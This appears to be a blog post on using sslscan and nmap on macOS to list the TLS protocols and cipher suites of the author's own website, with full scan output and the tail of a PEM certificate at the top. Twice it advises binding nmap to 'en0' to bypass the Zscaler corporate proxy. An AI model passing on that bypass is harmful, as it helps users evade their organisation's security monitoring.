hm/S8XukcJyY4GM0rqOCAmQwggJgMA4GA1UdDwEB/wQEAwIHgDAdBgNVHSUEFjAU
BggrBgEFBQcDAQYIKwYBBQUHAwIwDAYDVR0TAQH/BAIwADAdBgNVHQ4EFgQUuSjS
CTiwsQN32o/GrS5R7w9/I08wHwYDVR0jBBgwFoAUFC6zF7dYVsuuUAlA5h+vnYsU
wsYwVQYIKwYBBQUHAQEESTBHMCEGCCsGAQUFBzABhhVodHRwOi8vcjMuby5sZW5j
ci5vcmcwIgYIKwYBBQUHMAKGFmh0dHA6Ly9yMy5pLmxlbmNyLm9yZy8wMwYDVR0R
BCwwKoIRYW5kcmV3YmFrZXIubmluamGCFXd3dy5hbmRyZXdiYWtlci5uaW5qYTBM
BgNVHSAERTBDMAgGBmeBDAECATA3BgsrBgEEAYLfEwEBATAoMCYGCCsGAQUFBwIB
FhpodHRwOi8vY3BzLmxldHNlbmNyeXB0Lm9yZzCCAQUGCisGAQQB1nkCBAIEgfYE
gfMA8QB3ALc++yTfnE26dfI5xbpY9Gxd/ELPep81xJ4dCYEl7bSZAAABhEUWgVQA
AAQDAEgwRgIhAImYYhXVQB2AnUBLMbHjxTtlQRFNmNLhIxZFDdoI/nKrAiEAp/Bd
SWNPkUzPYI3/JvYLGwxHnLZwV3xoq/CbNUg0CKQAdgB6MoxU2LcttiDqOOBSHumE
FnAyE4VNO9IrwTpXo1LrUgAAAYRFFoNhAAAEAwBHMEUCIQDhi38/dQUgiic9MGS7
S/7vJMl+hWxt3xbtviOcl2fh3QIgYIm22Q++xOB7BeHubQsteMlYqg8QwDT+efpj
3S1QAVswDQYJKoZIhvcNAQELBQADggEBAEpU4OwFuFjvRN6oX4n8HcuGOQUd07JX
c71tEeXC/c0aa+5iEfiUayK5Ftbjle0Enny6Gz5f3E+grljsPCWgQaXIuch6PC8f
F2DoffCijg1Fy3uxBhN1O7DL9m4vcXBqVZY0WNtCBlp/eACPfeODAjCCSVI42gdr
w7qtCR5+Mwz1C0kznbdOGhbC70dv7AIDSoR1uzBuirQi2tasQ12bPIsqE68rLqsC
WN2AcwSM3C5Ica5XxA5AjG1StZEMaw1emAFvCdE6G0F8cMxmmomztyc9b2IQZrtj
Z1kI7X7AwzEcid3O8m9C/UIhlMMnbtnq0V9ab1gm6z66pu7tRQCZ454=
-----END CERTIFICATE-----

Mac OS X: Using nmap or sslscan to review the ciphers supported by a website

To retrieve a list of the SSL/TLS cipher suites a particular website offers you can either use sslscan or nmap

brew install sslscan
sslscan andrewbaker.ninja
Version: 2.0.15
OpenSSL 3.0.7 1 Nov 2022

Connected to 13.244.140.33

Testing SSL server andrewbaker.ninja on port 443 using SNI name andrewbaker.ninja

  SSL/TLS Protocols:
SSLv2     disabled
SSLv3     disabled
TLSv1.0   enabled
TLSv1.1   enabled
TLSv1.2   enabled
TLSv1.3   enabled

  TLS Fallback SCSV:
Server supports TLS Fallback SCSV

  TLS renegotiation:
Secure session renegotiation supported

  TLS Compression:
OpenSSL version does not support compression
Rebuild with zlib1g-dev package for zlib support

  Heartbleed:
TLSv1.3 not vulnerable to heartbleed
TLSv1.2 not vulnerable to heartbleed
TLSv1.1 not vulnerable to heartbleed
TLSv1.0 not vulnerable to heartbleed

  Supported Server Cipher(s):
Preferred TLSv1.3  256 bits  TLS_AES_256_GCM_SHA384        Curve 25519 DHE 253
Accepted  TLSv1.3  256 bits  TLS_CHACHA20_POLY1305_SHA256  Curve 25519 DHE 253
Accepted  TLSv1.3  128 bits  TLS_AES_128_GCM_SHA256        Curve 25519 DHE 253
Preferred TLSv1.2  256 bits  ECDHE-ECDSA-AES256-GCM-SHA384 Curve 25519 DHE 253
Accepted  TLSv1.2  128 bits  ECDHE-ECDSA-AES128-GCM-SHA256 Curve 25519 DHE 253
Accepted  TLSv1.2  256 bits  ECDHE-ECDSA-AES256-SHA384     Curve 25519 DHE 253
Accepted  TLSv1.2  256 bits  ECDHE-ECDSA-CAMELLIA256-SHA384 Curve 25519 DHE 253
Accepted  TLSv1.2  128 bits  ECDHE-ECDSA-AES128-SHA256     Curve 25519 DHE 253
Accepted  TLSv1.2  128 bits  ECDHE-ECDSA-CAMELLIA128-SHA256 Curve 25519 DHE 253
Accepted  TLSv1.2  256 bits  ECDHE-ECDSA-CHACHA20-POLY1305 Curve 25519 DHE 253
Accepted  TLSv1.2  256 bits  ECDHE-ECDSA-AES256-CCM8       Curve 25519 DHE 253
Accepted  TLSv1.2  256 bits  ECDHE-ECDSA-AES256-CCM        Curve 25519 DHE 253
Accepted  TLSv1.2  256 bits  ECDHE-ECDSA-ARIA256-GCM-SHA384 Curve 25519 DHE 253
Accepted  TLSv1.2  128 bits  ECDHE-ECDSA-AES128-CCM8       Curve 25519 DHE 253
Accepted  TLSv1.2  128 bits  ECDHE-ECDSA-AES128-CCM        Curve 25519 DHE 253
Accepted  TLSv1.2  128 bits  ECDHE-ECDSA-ARIA128-GCM-SHA256 Curve 25519 DHE 253
Accepted  TLSv1.2  256 bits  ECDHE-ECDSA-AES256-SHA        Curve 25519 DHE 253
Accepted  TLSv1.2  128 bits  ECDHE-ECDSA-AES128-SHA        Curve 25519 DHE 253
Preferred TLSv1.1  256 bits  ECDHE-ECDSA-AES256-SHA        Curve 25519 DHE 253
Accepted  TLSv1.1  128 bits  ECDHE-ECDSA-AES128-SHA        Curve 25519 DHE 253
Preferred TLSv1.0  256 bits  ECDHE-ECDSA-AES256-SHA        Curve 25519 DHE 253
Accepted  TLSv1.0  128 bits  ECDHE-ECDSA-AES128-SHA        Curve 25519 DHE 253

  Server Key Exchange Group(s):
TLSv1.3  128 bits  secp256r1 (NIST P-256)
TLSv1.3  192 bits  secp384r1 (NIST P-384)
TLSv1.3  260 bits  secp521r1 (NIST P-521)
TLSv1.3  128 bits  x25519
TLSv1.3  224 bits  x448
TLSv1.2  128 bits  secp256r1 (NIST P-256)

  SSL Certificate:
Signature Algorithm: sha256WithRSAEncryption
ECC Curve Name:      prime256v1
ECC Key Strength:    128

Subject:  andrewbaker.ninja
Altnames: DNS:andrewbaker.ninja, DNS:www.andrewbaker.ninja
Issuer:   R3

Not valid before: Nov  4 23:00:13 2022 GMT
Not valid after:  Feb  2 23:00:12 2023 GMT

alternatively you can just use nmap (note: i use “-e en0” to bypass zscaler):

% brew install nmap
% nmap --script ssl-enum-ciphers -p 443 andrewbaker.ninja -e en0
Starting Nmap 7.93 ( https://nmap.org ) at 2022-11-19 22:30 SAST
Nmap scan report for andrewbaker.ninja (13.244.140.33)
Host is up (0.014s latency).
rDNS record for 13.244.140.33: ec2-13-244-140-33.af-south-1.compute.amazonaws.com

PORT    STATE SERVICE
443/tcp open  https
| ssl-enum-ciphers:
|   TLSv1.0:
|     ciphers:
|       TLS_ECDHE_ECDSA_WITH_AES_256_CBC_SHA (ecdh_x25519) - A
|       TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA (ecdh_x25519) - A
|     compressors:
|       NULL
|     cipher preference: server
|   TLSv1.1:
|     ciphers:
|       TLS_ECDHE_ECDSA_WITH_AES_256_CBC_SHA (ecdh_x25519) - A
|       TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA (ecdh_x25519) - A
|     compressors:
|       NULL
|     cipher preference: server
|   TLSv1.2:
|     ciphers:
|       TLS_ECDHE_ECDSA_WITH_AES_256_GCM_SHA384 (ecdh_x25519) - A
|       TLS_ECDHE_ECDSA_WITH_AES_128_GCM_SHA256 (ecdh_x25519) - A
|       TLS_ECDHE_ECDSA_WITH_AES_256_CBC_SHA384 (ecdh_x25519) - A
|       TLS_ECDHE_ECDSA_WITH_CAMELLIA_256_CBC_SHA384 (ecdh_x25519) - A
|       TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA256 (ecdh_x25519) - A
|       TLS_ECDHE_ECDSA_WITH_CAMELLIA_128_CBC_SHA256 (ecdh_x25519) - A
|       TLS_ECDHE_ECDSA_WITH_CHACHA20_POLY1305_SHA256 (ecdh_x25519) - A
|       TLS_ECDHE_ECDSA_WITH_AES_256_CCM_8 (ecdh_x25519) - A
|       TLS_ECDHE_ECDSA_WITH_AES_256_CCM (ecdh_x25519) - A
|       TLS_ECDHE_ECDSA_WITH_ARIA_256_GCM_SHA384 (ecdh_x25519) - A
|       TLS_ECDHE_ECDSA_WITH_AES_128_CCM_8 (ecdh_x25519) - A
|       TLS_ECDHE_ECDSA_WITH_AES_128_CCM (ecdh_x25519) - A
|       TLS_ECDHE_ECDSA_WITH_ARIA_128_GCM_SHA256 (ecdh_x25519) - A
|       TLS_ECDHE_ECDSA_WITH_AES_256_CBC_SHA (ecdh_x25519) - A
|       TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA (ecdh_x25519) - A
|     compressors:
|       NULL
|     cipher preference: server
|   TLSv1.3:
|     ciphers:
|       TLS_AKE_WITH_AES_256_GCM_SHA384 (ecdh_x25519) - A
|       TLS_AKE_WITH_CHACHA20_POLY1305_SHA256 (ecdh_x25519) - A
|       TLS_AKE_WITH_AES_128_GCM_SHA256 (ecdh_x25519) - A
|     cipher preference: server
|_  least strength: A

Nmap done: 1 IP address (1 host up) scanned in 1.52 seconds

Another variant (including cert dates, again “-e en0” is used to bypass zscaler):

$ nmap -e en0 --script ssl-cert -p 443 andrewbaker.ninja
Starting Nmap 7.93 ( https://nmap.org ) at 2023-06-23 18:41 SAST
Nmap scan report for andrewbaker.ninja (13.244.140.33)
Host is up (0.019s latency).
rDNS record for 13.244.140.33: ec2-13-244-140-33.af-south-1.compute.amazonaws.com

PORT    STATE SERVICE
443/tcp open  https
| ssl-cert: Subject: commonName=andrewbaker.ninja
| Subject Alternative Name: DNS:andrewbaker.ninja, DNS:www.andrewbaker.ninja
| Issuer: commonName=Zscaler Intermediate Root CA (zscaler.net) (t) /organizationName=Zscaler Inc./stateOrProvinceName=California/countryName=US
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2023-06-17T02:07:23
| Not valid after:  2023-07-01T02:07:23
| MD5:   a20b5ae2900569601de116b49b7a29bd
|_SHA-1: 27d681607f0ccffbec6e303d14d6d41fd24c0851

Nmap done: 1 IP address (1 host up) scanned in 0.59 seconds